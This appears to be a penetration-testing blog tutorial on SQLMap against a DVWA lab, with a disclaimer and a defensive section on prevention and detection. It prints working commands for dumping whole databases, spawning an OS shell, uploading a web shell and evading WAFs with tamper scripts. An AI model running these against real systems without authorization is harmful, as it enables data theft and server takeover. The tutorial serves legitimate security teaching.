Introduction
SQL injection (SQLi) remains one of the most impactful classes of web vulnerabilities — it sits in the OWASP Top 10 (A03:2021 Injection) for good reason. SQLMap is the de facto open-source tool for automating the detection and exploitation of SQLi flaws. In this article I walk through a realistic engagement workflow: capturing a request, fingerprinting the backend, enumerating databases, dumping data, spawning an OS shell, and evading a WAF with tamper scripts.
Legal & ethical disclaimer. Everything below is for education and for authorized testing only — systems you own or have explicit written permission to assess. Running SQLMap against a target without authorization is illegal in most jurisdictions. Build a lab (DVWA, OWASP Juice Shop, or a Vulhub container) and practice there.
How SQL Injection Works
SQLi occurs when user-controlled input is concatenated into a SQL statement without parameterization. Consider:
SELECT * FROM users WHERE id = '$id';SQLIf $id is 1' OR '1'='1, the predicate is always true. SQLMap automates the discovery of injectable parameters and classifies the injection into one of five techniques (the --technique flag uses these letters):
- B — Boolean-based blind
- E — Error-based
- U — UNION query-based
- S — Stacked queries
- T — Time-based blind
Blind techniques infer data one bit/character at a time by observing response differences (content or timing), so they are slower but work even when the application returns no data or errors.
Prerequisites / Lab Setup
Install SQLMap from the official repository (the packaged version is often stale):
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python3 sqlmap.py --versionBashSpin up a deliberately vulnerable target. A quick option:
docker run --rm -it -p 80:80 vulnerables/web-dvwaBashSet DVWA's security level to low or medium and log in so you have a valid session cookie. For an authenticated workflow, the cleanest approach is to capture a real request from Burp Suite or your browser's dev tools and feed it to SQLMap.
Attack Walkthrough
1. Capture and replay a request with -r
Save the full HTTP request (headers, cookies, POST body) from Burp's "Copy to file" or via Save item. Then point SQLMap at it with -r. This is the most reliable way to preserve authentication, content-type, and CSRF tokens.
python3 sqlmap.py -r request.txt --batchBashA captured request.txt looks like this:
POST /vulnerabilities/sqli/ HTTP/1.1
Host: target.local
Cookie: PHPSESSID=abc123; security=low
Content-Type: application/x-www-form-urlencoded
id=1&Submit=SubmitHTTP--batch accepts default answers non-interactively. To mark a specific injection point manually, place an asterisk (*) in the request: id=1*. To raise aggression, add --level=5 --risk=3 (level controls how many parameters/headers are tested; risk controls the use of potentially dangerous payloads such as stacked queries).
2. Enumerate databases with --dbs
Once a parameter is confirmed injectable, list the databases:
python3 sqlmap.py -r request.txt --batch --dbsBashSQLMap fingerprints the DBMS (MySQL, PostgreSQL, MSSQL, Oracle, SQLite, etc.) and returns the available schemas. Drill down from there:
# Tables in a specific database
python3 sqlmap.py -r request.txt -D dvwa --tables --batch
# Columns in a table
python3 sqlmap.py -r request.txt -D dvwa -T users --columns --batchBash3. Dump data with --dump
Extract the contents of a table — or the entire database:
# Dump selected columns from one table
python3 sqlmap.py -r request.txt -D dvwa -T users -C user,password --dump --batch
# Dump everything (use responsibly and within scope)
python3 sqlmap.py -r request.txt -D dvwa --dump-all --batchBashWhen SQLMap finds password-looking columns it offers to crack hashes with its built-in dictionary attack. Results are written to ~/.local/share/sqlmap/output/<target>/ as CSV files, which is handy for reporting. Scope your dumps tightly — pulling an entire production database is rarely necessary and increases impact and detection risk.
4. Get an OS shell with --os-shell
If the DBMS user has sufficient privileges (e.g., MySQL FILE privilege with a writable web root, or xp_cmdshell on MSSQL), SQLMap can give you command execution:
python3 sqlmap.py -r request.txt --os-shell --batchBashUnder the hood, on MySQL/PHP targets SQLMap typically uses INTO OUTFILE/INTO DUMPFILE to drop a stager web shell into the document root, then proxies your commands through it. On MSSQL it re-enables and calls xp_cmdshell. You will be prompted for the language and writable web directory if SQLMap cannot detect them automatically. Related flags:
# Single command execution
python3 sqlmap.py -r request.txt --os-cmd="whoami" --batch
# Upload a file to the target
python3 sqlmap.py -r request.txt --file-write=./shell.php \
--file-dest=/var/www/html/shell.php --batchBashFrom an OS shell, the natural next step is privilege escalation — see Linux privilege escalation techniques and Windows privilege escalation.
5. Bypass a WAF with tamper scripts
When a WAF or input filter blocks payloads, tamper scripts mutate SQLMap's payloads on the fly. List them with --list-tampers. Common ones:
| Tamper | Effect |
|---|---|
space2comment |
Replaces spaces with /**/ |
between |
Rewrites > using BETWEEN ... AND |
charencode |
URL-encodes payload characters |
randomcase |
Randomizes keyword casing (SeLeCt) |
modsecurityversioned |
Wraps payload in MySQL versioned comments |
Chain them (order matters — they apply left to right):
python3 sqlmap.py -r request.txt --batch \
--tamper=space2comment,between,randomcase \
--random-agent --delay=1BashAdd --proxy=http://127.0.0.1:8080 to route through Burp for inspection, and --random-agent plus --delay to look less like an automated scanner.
Attack Flow Diagram

The diagram shows the loop from request capture to injection confirmation, branching into data enumeration/dumping and, when privileges allow, OS-level command execution.
Detection & Defense (Blue Team)
Defense deserves equal weight to the offense. SQLMap is loud and well-fingerprinted, so detection is achievable, but prevention is what actually closes the door.
Prevent the vulnerability:
- Parameterized queries / prepared statements are the single most effective control. Bind parameters instead of concatenating strings; use ORMs correctly (avoid raw query escapes).
- Least-privilege DB accounts. The web app's database user should not have
FILE,xp_cmdshell, or DDL rights. This alone neutralizes--os-shelland--file-write. - Input validation / allow-listing for structured fields (e.g., numeric IDs), as defense-in-depth — never as the primary control.
- Disable dangerous features: on MSSQL keep
xp_cmdshelldisabled; on MySQL setsecure_file_privto a non-web path or empty to blockINTO OUTFILE.
Detect the attack:
- SQLMap's default
User-Agentcontainssqlmap; a WAF/IDS rule on that string catches naive runs (defeated by--random-agent, so don't rely on it alone). - Watch for high request volume to a single endpoint with incrementally varying payloads, time-based patterns (consistent
SLEEP/WAITFOR DELAY-induced latency), and bursts of SQL keywords or comment sequences (/**/,UNION SELECT,CONVERT(). - Deploy a WAF (ModSecurity with the OWASP Core Rule Set) tuned for SQLi paranoia levels. Treat it as a speed bump, not a fix — tamper scripts exist precisely to bypass signatures.
- Enable database query logging and alert on
INTO OUTFILE,LOAD_FILE,xp_cmdshellinvocations, and access toinformation_schema/sysfrom the application account.
This maps to MITRE ATT&CK T1190 (Exploit Public-Facing Application) and, post-shell, T1059 (Command and Scripting Interpreter). For a broader view of the post-exploitation phase, see pivoting and lateral movement.
Conclusion
SQLMap turns a single injectable parameter into database enumeration, full data exfiltration, and potentially OS command execution. The workflow — -r to preserve the request context, --dbs/--dump to enumerate and extract, --os-shell when privileges permit, and tamper scripts to slip past WAFs — covers most real engagements. For defenders, parameterized queries plus least-privilege database accounts remove the entire attack surface that SQLMap depends on. Automate the offense, but understand the SQL it generates: the manual payload is what you fall back on when the tool fails.
References
- SQLMap official site and wiki — https://sqlmap.org/ and https://github.com/sqlmapproject/sqlmap/wiki
- OWASP — SQL Injection — https://owasp.org/www-community/attacks/SQL_Injection
- OWASP Top 10 A03:2021 Injection — https://owasp.org/Top10/A03_2021-Injection/
- MITRE ATT&CK T1190 — https://attack.mitre.org/techniques/T1190/
- HackTricks — SQL Injection — https://book.hacktricks.xyz/pentesting-web/sql-injection
- OWASP SQL Injection Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html



Comments